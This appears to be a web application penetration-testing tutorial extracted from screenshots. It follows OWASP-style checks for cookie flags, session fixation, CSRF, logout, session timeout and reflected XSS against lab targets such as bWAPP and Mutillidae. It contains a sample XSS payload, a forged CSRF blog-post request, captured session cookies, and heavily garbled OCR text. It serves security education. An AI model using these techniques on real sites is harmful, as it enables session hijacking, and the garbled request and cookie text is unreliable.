Refere Cooltie Upgrad Cache- 3436 3437 3438 Corigin Raw Me AUTH Welc	r: https://attack.sams. : ASPXAUTH=21232f297a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.	GET GET GET HEAD Response Sa743894a04 nument:	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php /dxn-cgi/nessageboard.php	13894a0e4a80	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8f0aa2f49 php js php	Message Board
Refere Cookie Comme Upgrad Cache- 3436 3437 3438 Corigin Raw Me AUTH Welco	r: https://attack.sams. . ASPXAUTH=1132f297a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://ajax.cloudflare.com https://ajax.cloudflare.com https://attack.samsclass.info https://attack.samsclas	Cer Ger HEAD Response Sa743894a00 nument:	/cookielogin/index.html 4a0e4a801fc3; AUTH=C1C3CfC97a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudTare.js /cookielogin/messageboard.php	13894a0e4a80	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8fDaa2f49	ef5c08613c008a1513378976 Message Board
Refere Control Connec Upgrad Cache- 3436 3437 3438 Corigi Raw Me AUTH Welc	r: https://attack.sams. : ASPXAUTH= <u>ll32f297a</u> tion: close le-Insecure-Requests: l Control: max-age=0 https://attack.samsclass.info https://ajax.cloudflare.com https://ajax.cloudflare.com https://attack.samsclass.info https://attack.samsclass.in	Cer GET GET HEAD Response Render 5a743894a04 mment:	/cookielogin/index.html 4a0e4a801fc3; AUTH=C1C3CfC97a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudflare.js /cookielogin/messageboard.php <4a801fc3	13894a0e4a80	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8fDaa2f49 js php	ef5c08613c008a1513578976 Message Board
Refere Connec Upgrad Cache- 3436 3437 3438 Corigi Raw Me AUTH Welc	r: https://attack.sams : ASPXAUTH=D1030f097a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://ajax.cloudflare.com https://ajax.cloudflare.com https://attack.samsclass.info intro://ajax.cloudflare.com https://attack.samsclass.info ht	GET GET GET HEAD Response Render 5a743894a04 mment:	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php 4a801fc3	13894a0e4a80	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8fDaa2f49 php js php	ef5c08613c008a1513578976 Message Board
Refere Combec Combec Upgrad Cache- 3436 3437 3438 Corigin Raw Me AUTH Welc	r: https://attack.sams. : ASPXAUTH=01030f097a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.	GET GET GET GET HEAD Response Render 5a743894a00 mment:	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80	200 304 200	_cfduid=-	HTML script HTML	f8f0aa2f49 php js php	Message Board

2. Testing for Cookies attributes

How to Test

Testing for cookie attribute vulnerabilities

By using an intercepting proxy or traffic intercepting browser plug-in, trap all response where a cookie is set by the application (using the Set-cookie directive) and inspect the cookie for the following:

- Secure Attribute Whenever a cookie contains sensitive information or is a session token, then it should always be passed using an encrypted tunnel. For example, after logging into an application and a session token is set using a cookie, then verify it is tagged using the ";secure" flag. If it is not, then the browser would agree to pass it via an unencrypted channel such as using HTTP, and this could lead to an attacker leading users into submitting their cookie over an insecure channel.
- HttpOnly Attribute This attribute should always be set even though not every browser supports it. This attribute aids in securing the cookie from being accessed by a client side script, it does not eliminate cross site scripting risks but does eliminate some exploitation vectors. Check to see if the "HttpOnly" tag has been set.
- Domain Attribute Verify that the domain has not been set too loosely. It should only be set for the server that needs to receive the cookie. For example if the application resides on server app.mysite.com, then it should be set to " domain=app.mysite.com" and NOT " domain=.mysite.com" as this would allow other potentially vulnerable servers to receive the cookie.
- Path Attribute Verify that the path attribute, just as the Domainattribute, has not been set too loosely. Even if the Domain attribute has been configured as tight as possible, if the path is set to the root directory "/" then it can be vulnerable to less secure applications on the same server. For example, if the application resides at /myapp/, then verify that the cookies path is set to "; path=/myapp/" and NOT "; path=/" or "; path=/myapp". Notice here that the trailing "/" must be used after myapp. If it is not used, the browser will send the cookie to any path that matches "myapp" such as "myapp-exploited".
- Expires Attribute If this attribute is set to a time in the future verify that the cookie does not contain any sensitive information. For example, if a cookie is set to "; expires=Sun, 31-Jul-2019 13:45:29 GMT" and it is currently July 31st 2018, then the tester should inspect the cookie. If the cookie is a session token that is stored on the user's hard drive then an attacker or local user (such as an admin) who has access to this cookie can access the application by resubmitting this token until the expiration date passes/

root@kali: ~/Desktop	0	•	8
File Edit View Search Terminal Help			
Transfer-Encoding: chunked Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security:Policy: script-src 'report-sample' 'nonce-IhfHVdQcsK7CQ1pBq5QZXl0XwiE' 'unsafe-inline' 'strict-dynamic' https: http: 'unsa object-src 'none';base-uri 'self';report-uri /cspreport X-Content-Type-Options: nosiff X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: GAPS=1:b3emoSytNQeiWwImBxrH9xta4HEEKg:9nzAIAzsTAx8kEqo;Path=/;Expires=Wed, 04-Mar-2020 07:07:19 GMT;Secure;HttpOnly;Priority=HI Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335, quic=":443"; ma=2592000; v="41,39	fe-e GH ,38,	val	'; 35
Connection: close			
<pre> ************************************</pre>	rict	-dy	ma
<pre>[I] Path flag in Set-Cookie is being enabled [V] Anti Cross-Site Request Forgery Token is Missing in Set-Cookie. [Value: GAPS=1:b3emoSytNQeiWwImBxrH9xta4HEEKg:9nzAIAzsTAx8kEqo;Path=/;E 4, 04-Mar-2020 07:07:19 GMT;Secure;HttpOnly;Priority=HIGH] ************************************</pre>	xpir	es=	We

3. Testing for Session Fixation

Summary

When an application does not renew its session cookie(s) after a successful user authentication, it could be possible to find a session fixation vulnerability and force a user to utilize a cookie known by the attacker. In that case, an attacker could steal the user session (session hijacking).

Session fixation vulnerabilities occur when:

- A web application authenticates a user without first invalidating the existing session ID, there by continuing to use the session ID already associated with the user.
- An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.

Test example

🐼 Session Fixat 😻 bWAPP - Set 🕹 New Tab 🛛 Message Box 🗙 🕂 — 🗆 🗙 👘	
$\leftarrow \rightarrow \mathbb{C}$ \bigtriangleup \textcircled{O} \clubsuit https://attack.samsclas $\cdots \boxtimes$ \bigstar \textcircled{Q} Search \gg \equiv	← → C ■ Secure https://attack.samsclass.info/cookielogin/messagebo
Message Board	Message Board
CLOUDFLARE	CLOUDFLARE
AUTH COOKIE: 21232f297a57a5a743894a0e4a801fc3	AUTH COOKIE: 63a9f0ea7bb98050796b649e85481845
Welcome Administrator!	Welcome Linux Root User!
Comment:	Comment:
	Post Comment
Erase Comments	Logout
Fun Injections	Fun Injections

Sequencer	Decoder	Comparer	Extender	Proje	ect options	Use	er options	Aler	rts	← → C 🔒 Secure https://attack.samsclass.info/cookielogin/messagebo 🛪
Target	Proxy	Spider	Scar	ner	Intru	der	F	Repeater		Message Board
Intercept HTTP	webSock	kets history Op	otions							
Filter: Hiding CSS, im	age and general bi	nary content							2	
# Host		Method	URL			Params	Edited	Status	1	
3447 https://attac 3448 https://attac	ck.samsclass.info	GET	/cookielogin/logou /cookielogin/cooki	login.php?Logi	out=Logout ?n=&p=	1	1	200 302	1	
3449 https://attac	k.samsclass.info	GET	/cookielogin/cooki	elogin.php	?n=admin&	1		302		AUTH COOKIE: 63a9f0ea/bb98050/96b649e85481845
3451 https://attac	k.samsclass.info	HEAD	/cookielogin/mess	ageboard.	php php			200	-	Welcome Linux Root User!
3452 https://attac	k.samsclass.info	GET	/cookielogin/mess	ageboard.	php		1	200	-1	Comment
3454 https://attac	ck.samsclass.info	HEAD	/cookielogin/mess	ageboard.	php			200	1	Comment.
									7 -	-
Original request	Edited request	Response								_
Raw Params	Headers Hex									
GET /cookielogi Host: attack.sa	n/messageboar msclass.info	d.php HTTP/1	1.1							Ā
User-Agent: Moz	illa/5.0 (Win	dows NT 10.0); Win64; x64	; rv:58	.0) Gecko/:	2010010	1 Firefo	ox/58.0	- 1	
Accept-Language	: en-GB,en;q=	0.5	,appricación/	xmr,d-o	. 5, 7, , q=0	. 0			- 1	Post Comment
Accept-Encoding Referer: https:	r: gzip, defla //attack.sams	te class.info/o	cookielogin/i	ndex.ht:	ml				- 1	
Cookie: .ASPXAU cfduid=d725a8	TH=21232f297a b09f8f0aa2f49	57a5a743894a	a0e4a801fc3 <mark>;</mark> 08a1513578976	AUTH=21	232f297a57.	a5a7438	94a0e4a8	301fc3;	- 1	Erase Comments
Connection: clo	se e-Remiests: 1								- 1	Logout
Cache-Control:	max-age=0									
Sequencer	Dagadar	Comparer	Extender	Droiog	t antiona	lloor	ontiono	Alarta		$\leftarrow \rightarrow \mathbf{C}$ Secure https://attack.samsclass.info/cookielogin/messagebo \mathbf{x}
Target	Proxy	Spider	Scann	er	Intrude	er	Re	peater		
Intercept HTTP h	istory WebSock	ets history Opt	ions							Message Board
Filter: Hiding CSS, im	age and general bin	ary content							?	
# Host		Method U	JRL		P	arams	Edited	Status	1	
3447 https://attac	k.samsclass.info	GET /	cookielogin/logout.	hp?Logou	it=Logout	1		200	-	
3448 https://attac 3449 https://attac	k.samsclass.info k.samsclass.info	GET /	cookielogin/cookiel cookielogin/cookiel	ogin.php?n ogin.php?n	i=&p= i=admin&	1	V	302 302		AUTH COOKIE: 63a9f0ea7bb98050796b649e85481845
3450 https://attac	k.samsclass.info	GET /	cookielogin/messa	eboard.ph	np.			200		Welcome Linux Deet Heen!
3451 https://attac 3452 https://attac	k.samsclass.info	GET /	cookielogin/messa cookielogin/messa	geboard.pr geboard.pr	np np		1	200	5	weicome Linux Root Oser:
3453 https://ajax.	cloudflare.com	GET /	cdn-cgi/nexp/cloud	flare.js				304	2	Comment:
autos://attac	k.samsciass.info	HEAD 7	Cookielogin/messaj	jeboard.pr	ih.			200		
Original request	Edited request	Response								
Raw Params	Headers Hex									
GRT /cookielogi:	n/messageboard	d.php HTTP/1	. 1							

Post Comment Erase Comments Logout

GRT /cookielogin/weesageboard.php HTTP/1.1 Host: attack:samsclass.info User-Agent: Mostilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/;q=0.8 Accept-Encoding; gzip, deflate Beferer: https://attack.samsclass.info/cookielogin/index.html Cookie: .ASPXAUTH=SamiDearDb90050755545855401045; AUTH=63a910ea7bb900507955645865401045; _cfduide725a8b091610aa2f43c15c000613c000eal513570576 Connection: close UpgradeTinsecure=Requests: 1 Cache=Control: max-age=0

Session Fixe ₹ bWAPP - Se (←) → C ⁴ ① ▲ https://a	New Tab Message Box X + -
Message Board	Message Board
CLOUDFLARE	CLOUDFLARE
AUTH COOKIE: 63a9f0ea7bb98050796b	649e85481845 AUTH COOKIE: 63a9f0ea7bb98050796b649e85481845
Welcome Linux Root User!	Welcome Linux Root User!
Comment:	Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau - X Among Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau
	Burg niluder Repealer Willow nep
	Target Proxy Spider Scanner Intruder
	Intercept HTTP history WebSockets history Options
	Filter: Hiding CSS, image and general binary content
	# Host Method URL Params Edited Status Length
Part Comment	
Post Comment	Original request Edited request Response
Erase Comments	Raw Headers Hex HTML Render
Logout	Message Board
Fun Injections	AUTH COOKIE: 63a9f0ea7bb98050796b649e85481845
<script></script>	

4. Testing for Exposed Session Variables

How to Test

Testing for Encryption & Reuse of Session Tokens Vulnerabilities

Every time the authentication is successful, the user should expect to receive

• A different session token

	New Tab Message Box X + - C ttack.samsclas ♥ ☆ Q. Search >> =
Message Board	Message Board
CLOUDFLARE	
AUTH COOKIE: 63a9f0ea7bb98050796b	649e85481845 AUTH COOKIE: 63a9f0ea7bb98050796b649e85481845
Welcome Linux Root User!	Welcome Linux Root User!
Comment:	🚯 Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau — 🗆 X
	Burp Intruder Repeater Window Help
	Repeater Sequencer Decoder Comparer Extender Project options User options Alerts Target Proxy Spider Scanner Intruder
	Intercept HTTP history WebSockets history Options
	Fiter: Hiding CSS, image and general binary content
	# Host Method URL Params Edited Status Length
Part Commont	
Fost comment	Original request Edited request Response
Erase Comments	Raw Headers Hex HTML Render
Logout	Message Board
Fun Injections	AUTH COOKIE: 63a9f0ea7bb98050796b649e85481845
<script></script>	

• A token sent via encrypted channel every time they make HTTP Request

3469	http://192.168.222.136	GET	/bWAPP/smgmt_sessionid_url.php?Pf	P ✓	200	11473	HTML	php	bWAPP - Session Manag	192.168.222.136
-										<u>)</u>
Reques	st Response									
Raw	Params Headers Hex									
GET /bW	APP/smgmt_sessionid_u	1.php?PH	PSESSID=h1115j9bipkko55cnh0a	pfvb7 HTTP/1.	1					
Host: 1	92.168.222.136									
User-Ag	ent: Mozilla/5.0 (Win	lows NT 10	0.0; Win64; x64; rv:58.0) Geo	ko/20100101 F	irefox/58.0					
Accept:	text/html, applicatio:	n/xhtml+xm	nl, application/xml;q=0.9,*/*.	q=0.8						
Accept-	Language: en-GB, en; q=	0.5								
Accept-	Encoding: gzip, defla	e								
Referer	: http://192.168.222.	136/bWAPP,	/portal.php							
Cookie:	dbx-postmeta=grabit=	0-,1-,2-,3	3-,4-,5-,6-&advancedstuff=0-,	1-,2-; securi	ty_level=0; a	acopendit	ids=swin	gset, jott	o,phpbb2,redmine; acgroup	swithpersist=nada;
PHPSESS	ID=h1115j9bipkko55cnh	avpfvb7;	Server=b3dhc3Bid2E=; JSESSI0	NID=E15122530	4320E6FA9AA1E	F46E2D2B9	98;			
cyclone session=BAh7B0kiD3Nlc3Npb25faWQG0gZFRkkiJTQ3ZWJiNDJhYmYxMDc1HWJhNjE2ZDM0Mjg4YTQxNDQyBjsAVEkiEF9jc3JmX3Rva2VuBjsARkiMThTbnhnZ0MzSHhVS1ViZnlydk50V0srcmhpSVJZWHBoWWdjSEdxdUphYVk9BjsA										
Rg\$ 3D\$ 3	Rg%3D%3D21eaa662a615394f3796f898bc19ce77f34497bc; remember token=Stu37BrvdLCcPfSwaD7x4g									
Connect	Connection: close									
Upgrade	-Insecure-Requests: 1									

Testing for Proxies & Caching vulnerabilities

The "Expires: 0" and Cache-Control: max-age=0 directives should be used to further ensure caches do not expose the data. Each request/response passing Session ID data should be examined to

ensur

e appropriate cache directives are in use.

				1						
3445	https://attack.samsclass.info GET /cookielogin/messageboard.php				200	1861	HTML	php	Message Board	
3446	https://attack.samsclass.info	fo HEAD /cookielogin/messageboard.php				200	265	HTML	php	
3447	https://attack.samsclass.info	GET	/cookielogin/logout.php?Logout=Logout	\checkmark		200	646	HTML	php	Logout
3448	https://attack.samsclass.info GET /cookielogin/cookielogin.php?n=&p=		\checkmark	\checkmark	302	592	HTML	php	Logging In	
	· · · · · · · · · · · · · · · · · · ·									
Degu	est Desnonse									
Requ	est Response									
Dave		and an								
Raw	Headers Hex HTML R	ender								
HTTP/1	HTTP/1.1 200 0K									
Date:	Mon, 05 Mar 2018 07:26:	02 GMT								
Conten	t-Type: text/html; char	set=UTF-8								
Connec	tion: close									
Vary:	Accept-Encoding									
Expect	Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"									
Server: cloudflare										
CF-RAY: 3f6adalfe8a3328f-HKG										
Content-Length: 1551										

Testing for GET & POST vulnerabilities

All server side code receiving data from POST requests should be tested to ensure it does not accept the data if sent as a GET.

3469	http://192.168.222.136	GET	/bWAPP/smgmt_sessionid_url.php?PHP	1	200	11473 HTML	php	bWAPP - Session Manag	192.168.222.136
Reque	st Response								
Raw	Params Headers Hex								
GET /b	MAPP/smgmt_sessionid_url	.php?PHPS	ESSID=h1115j9bipkko55cnh0avpfvb'	HTTP/1.1					
Host:	92.168.222.136								
User-A	pent: Mozilla/5.0 (Windo	ws NT 10.	0; Win64; x64; rv:58.0) Gecko/20	100101 Firef	ox/58.0				
Accept	text/html, application/	xhtml+xml	,application/xml;q=0.9,*/*;q=0.8						
Accept	Language: en-GB, en; q=0.	5							
Accept	Encoding: gzip, deflate								
Refere:	: http://192.168.222.13	6/bWAPP/p	ortal.php						
Cookie	dbx-postmeta=grabit=0-	,1-,2-,3-	,4-,5-,6-&advancedstuff=0-,1-,2-	; security 1	evel=0; acc	opendivids=swi	ngset, jotto	,phpbb2,redmine; acgroups	withpersist=nada;
PHPSES:	ID=h1115j9bipkko55cnh0a	upfub7; S	erver=b3dhc3Bid2E=; JSESSIONID=1	151225304320	EGFA9AA1F46	6E2D2B998;			
cyclo	cyclone session=BAh7B0kiD3Nlc3Npb25faWQG0qZFRkkiJTQ3ZWJiNDJhYmYxHDc1HWJhNjE22DH0Hjq4YTQxNDQyBjsAVEkiEF5jc3JmX3Rwa2VuBjsARkkiMThTbnhnZ0HzSHhVS1ViZnlydk50V0srcmhpSVJZWHBoWWdjSEdxdUphYUR9BjsA								
Rgt3D43D21eaa662a815394f3798f898bc19ce77f34497bc; remember token=Stu37BrvdLCcPfSwaD7x4g									
Connection: close									
Upgrad	Jpgrade-Insecure-Requests: 1								

5. Testing for Cross Site Request Forgery (CSRF)

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link

via email or chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation, when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.

How to Test

• Let u the URL being tested, u=http://abc.com/action

(Contemporation Contemporation Contemporatio Contemporation Contemporation Contemporation Contem	illidae/index.php?page=add-to-your-blog.php 🗸 d 😵 Search
OWASP 2017	Welcome To The Blog
OWASP 2013	Back 🔮 Help Me!
OWASP 2007	Hints and Videos
HTML 5	Add New Blog Entry
Others	Add blog for anonymous
Resources	Note: ,<i> and <u> are now allowed in blog entries</u></i>
PayPal - The safer, easier way to pay online! Want to Help?	
Video Tutorials	ii.

• Build an html page containing the http request referencing URL u (specifying all relevant parameters, in the case of http GET this is straightforward, while to a POST request you need to resort to some javascript).

Sequencer	Decoder	Comparer	Extender	Project	options	User opti	ions	Alerts
Target	Proxy	Spider	Scan	ner	Intruder	Ĩ	Repe	ater
Intercept HTTP h	Intercept HTTP history WebSockets history Options							
Request to http	Request to http://localhost:8080 [127.0.0.1]							
Forward	Forward Drop Intercept is on Action Comment this item Image: Comment the ima							
Raw Params	Headers Hex							
POST /mutillida	e/index.php? <mark>p</mark>	age=add-to-yo	ur-blog.php	HTTP/1.1				
Host: localhost	: 8080							
User-Agent: Moz:	illa/5.0 (Win	dows NT 10.0;	WOW64; rv:5	5.0) Gec	ko/20100101	Firefox	:/55.0	
Accept: text/ht	ml, applicatio	n/xhtml+xml,a	pplication/x	ml;q=0.9	,*/*;q=0.8			
Accept-Language	: en-GB,en;q=	0.5						
Accept-Encoding	: gzip, defla	te						
Referer: http:/,	/localhost:80	80/mutillidae	/index.php?p	age=add-	to-your-blo	g.php		
Content-Type: a	pplication/x-	www-form-urle	ncoded					
Content-Length:	94							
Cookie: showhint	ts=1; usernam	e=admin; uid=	1;					
distillery=24	f7cbb_77feb26	7-aaca-4269-9	49c-d280cec3	7f26-93a	18baa2-cb20	9flcb0eb	-b477	
PHPSESSID=t9226	60tpm4r2rh42p	6m6ei5bp						
Connection: close								
Upgrade-Insecure-Requests: 1								
csrf-token=&blog_entry=hello+guy+I+am+Admin&add-to-your-blog-php-submit-button=Save+Blog+Ent								
(v)								



• Make sure that the valid user logged on the application

Mutilidae II: Web Pwn In Mass Production

0 (Hosed) Hints: Enabled (1 - 5cr1pt K1dd1e) Logged In Admin: admin (g0t r00t?)

how Popup Hints | Toggle Security | Enforce SSL | Reset DB | View Log | View Captured Data

Welcome To The Blog

lp Me!

Videos

Add blog for admin

• Induce him into following the link pointing to the URL to be tested (Social engineering involved if you cannot impersonate the user yourself)



• Observe the result, check if the web server executed the request

	View Blogs							
2 Current Blog Entries								
		Name	Date	Comment				
	1	admin	2017-10-05 03:21:49	CSRF demo by Cloud HvN				
	2	admin	2009-03-01 22:31:13	Fear me, for I am ROOT!				
// CSRF with Burp

6. Testing for logout functionality

How to Test

Testing for log out user interface

There are some properties which indicate a good log out user interface

- A log out button is present on all pages of the web application
- The log out button should be identified quickly by a user who wants to log out from the web application
- After loading a page the log out button should be visible without scrolling
- Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content

ACMELAPTOP		н	ley ! Shinobibughunter We	el-Come	
Categories	Home	Buy	Career	About us	Contact
> Acer	about				
> Compaq	about				
> Dell	AcmeLaptop is a unique	laptop store which believes in giving	best deals to clients for the laptops.	We have different brands of laptops v	with different configuration at low and affe
> Gateway	Customer satisfaction is	our business model.			
> Hewlett					
> Ibm					
> Sony					
> Toshiba			_		
		Home Contac Lo	ogout		

Verify that the following scenario: Login to the system, access a authozied page, copy the url of the page, logout, paste the URL in the address bar, click on go, click on another authozied page, the system requires the permission to access it.

	ACMELAPTOP				
Ca	tegories	Home	Buy	Career	About us
>	Acer				
>	Compaq	USERNAME:			
>	Dell	DASSWORD			
>	Gateway	FASSWORD.			
>	Hewlett		Login		
>	Ibm			If you have forgotten your pas	sword click on forgot password
>	Sony			ii you nave torgotten your pas	sword, click on torgot password
>	Toshiba				
			Home Contact L	og in	

i 🔒 https://phpapp.info	secaddicts.com	/login.php?error=Ses	sion + 💀 💌 🖾	php	ជ
and a ta					
ACMELAPTOP	Register				
Categories	Home	Buy	Career		Ab
> Acer	Logout				
> Compaq	Logour				
> Dell	You have been logged	out. Thank you very much for your inte	rest.		
> Gateway					
> Hewlett					
> Ibm					
> Sony					
5 TUSHIDA		Home I Contact I Loo	in l		
Logout X M	essage Board	× +			
← → ♂ ☆	🛈 🔒 https://game	s.samsclass.info/cookielogi	n/messageboard.php		
$\left(\leftrightarrow \right) \rightarrow \mathbb{C}$	🛈 🔒 https://game	s.samsclass.info/cookielogi	n/messageboard.php		
$\leftarrow \rightarrow C c$	(i) 🔒 https://game	s.samsclass.info/cookielogi	n/messageboard.php		
$\left(\leftrightarrow \rightarrow \ C' \ \textcircled{m} \right)$	(i) 🔒 https://game	s.samsclass.info/cookielogi	n/messageboard.php		
$\leftarrow \rightarrow C $	🛈 🔒 https://game	s.samsclass.info/cookielogi	n/messageboard.php		
$\left(\leftrightarrow \rightarrow \ \mathcal{C} \ \mathbf{\hat{\omega}} \right)$	(i) 🔒 https://game	es.samsclass.info/cookielogi	n/messageboard.php		
$\left(\leftrightarrow \right) \rightarrow \mathbb{C}$	(i) 🔒 https://game	s.samsclass.info/cookielogi	n/messageboard.php		
$\leftarrow \rightarrow C \ c$	(i) 🔒 https://game	es.samsclass.info/cookielogi	n/messageboard.php		
↔ → C' $ŵ$	1 Attps://game	s.samsclass.info/cookielogi	n/messageboard.php		
$\leftarrow \rightarrow C \ c$	(i) A https://game	s.samsclass.info/cookielogi	n/messageboard.php		
← → C' ŵ Comment:	① ▲ https://game	es.samsclass.info/cookielogi	n/messageboard.php		
← → C' ŵ Comment: (!) Notice: Undefined variable:	① ▲ https://game fn in /var/www/https://game	es.samsclass.info/cookielogi	n/messageboard.php oard.php on line 41		
← → C	① ▲ https://game fn in /var/www/htr	es.samsclass.info/cookielogi 	n/messageboard.php oard.php on line 41		
← → C' ŵ Comment: Comment: (!) Notice: Undefined variable:: Call Stack # Time	① ▲ https://game fn in /var/www/https://game	nl/cookielogin/messageb	n/messageboard.php oard.php on line <i>41</i>		
← → C	(i) ▲ https://game fn in /var/www/https://game Function {main}()	s.samsclass.info/cookielogi nl/cookielogin/messageb Location /messageboard.php:0	n/messageboard.php oard.php on line <i>41</i>		
← → C'	(i) ▲ https://game fn in /var/www/htm Function {main}()	es.samsclass.info/cookielogi nl/cookielogin/messageb Location /messageboard.php:0	n/messageboard.php oard.php on line 41		
← → C' Comment: Comment: Image: Notice: Undefined variable: Call Stack Time Memory 1 0.0001 233088 Post Comment Erase Comments	Image: A state of the state	nl/cookielogin/messageb Location /messageboard.php:0	n/messageboard.php oard.php on line 41		
← → C' Comment: Comment: 	(i) ▲ https://game fn in /var/www/https://game Function {main}()	nl/cookielogin/messageboard.php:0	oard.php on line 41		

7. Test Session Timeout

The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.

How to test

Test with Burp extension



🚯 Session Timeout Test	-	-		×
Controls Status				
Test Parameters				
String to match:	Log in			
Minimum Session Duration:	15			
Maximum Session Duration:	120			
Interval:	1			
		_		_
Testing	STOP	TEST	Г	

🚯 Session Timeout Test		—		\times
Controls Status				
Test Status				
Testing Interval:	15 minutes			
Next Test:	0:14:54			
Total Time Elapsed:	0:00:06			
Time Remaining:	119:14:54			
			_	
Testing	5	STOP TEST		

🚯 Session Timeout Test		_		×
Controls Status				
Test Status				
Testing Interval:	15 minutes			
Next Test:	0:00:00			
Total Time Elapsed:	0:15:00			
Time Remaining:	119:00:00			
Session timeout detected: 15 minutes		START TES	т	

Input Validation Testing

Testing for Cross site Scripting

Cross Site Scripting (XSS) testing checks if it is possible to manipulate the input parameters of the application so that it generates malicious output. Testers find an XSS vulnerability when the application does not validate their input and creates an output that is under their control. This vulnerability leads to various attacks, for example, stealing confidential information (such as session cookies) or taking control of the victim's browser. An XSS attack breaks the following pattern: Input -> Output == cross-site scripting.

1. Testing for Reflected Cross Site Scripting

Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.



How to Test

- Detect input vectors. For each web page, the tester must determine all the web application's userdefined variablesand how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values.
- Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually.
- For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Example

• In this case, in first step, we need to detecting all input vectors which can affected by XSS, such as input field or any URL's parameters.

efox		
; <u>T</u> ools <u>H</u> elp		
http://192.168.1.105/BookApp/BasicSearch.a	spx?Word=foo	☆ · [
atest Headlines		
	no match found for "foo"	
Books Forever		60
Home Login Contact		
Books Search	Search Result	Welcome guest !
		Latest Releases & News
Title 🔽 Go		July 21st, 2009
Advanced Search Catalog		This is a template designed to explore web services (SOAP) attacks.

efox		
<u>I</u> ools <u>H</u> elp		
http://192.168.1.105/BookApp/BasicSearch.a	aspx?Word=foo	☆ ·
atest Headlines		
	no match found for "foo"	
Books Forever		<script></script>

Script executed

DX	
ks <u>T</u> ools <u>H</u> elp	
http://192.168.1.105/BookAp	p/BasicSearch.aspx?Word= <script>alert(123);</script>
Latest Headlines	
	The page at http://192.168.1.105 says:
	<u> </u>
	ОК

• Generate testing data with fuzzer or manually.

Targ	get Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts]		
1 ×	2 × 3	× 4 ×	5 ×												
Targ	get Positio	ns Payle	oads Opt	ions											
?	Payload I Configure t	Position: he positio	ns where p	ayloads will	be inserted	into the base	request. Th	e attack type (determines t	he way in which pa	yloads are assig	ned to pa	ayload positions – see help for full details.		Start attack
	Attack type	Sniper												•	
	GET /Baa Hoat: aa User-Age Accept: Accept: Accept-L Connect Connect Cookie: tawkou fbp=fb. Upgrade- Cache-Co	icSearch pdotneta nt: Nozi text/htm anguage: ncoding: on: clos cfduid id=e::in 1.156495 Insecure ntrol: m	.aapx?Wo pp.infoa lla/5.0 l,applic, en-US,er gzip, d' e =dc60296 fosecadd 5153850. -Regueat: ax-age=0	d=SfooS acaddicta Macintos ation/xht 1;g=0.5 aflate 15e59a793 15e5s.com: 17041806 a: 1	HTTP/1.1 .com h; Intel M ml+xml,ap 349b3b819d :AptkfxgP ; _gid=GA	(ac OS X 1/ plication/: dae03f6e150 fGgWh88K8tc 1.2.122364).13; rv:(ml;g=0.9, 54954288; 188%vukfP 1954.15654	58.0) Geoko */*;g=0.8 _ga=GA1.2. tuRu+559KSt 105500)/20100101 781579113 d825₩0cn±	Firefox/68.0 .1564954291; FQ+agNYE4x40Eh	_auc=4e20d75t X//::2;8t;	ol6c5e98 ripe_mic	88ea135b1a1af; d=b53f835b-625c-4a04-8fe8-075c7bbca7cf	;	Add § Clear § Auto § Refresh

1 ×	2 ×			
Target	Positions	Payloads Options		
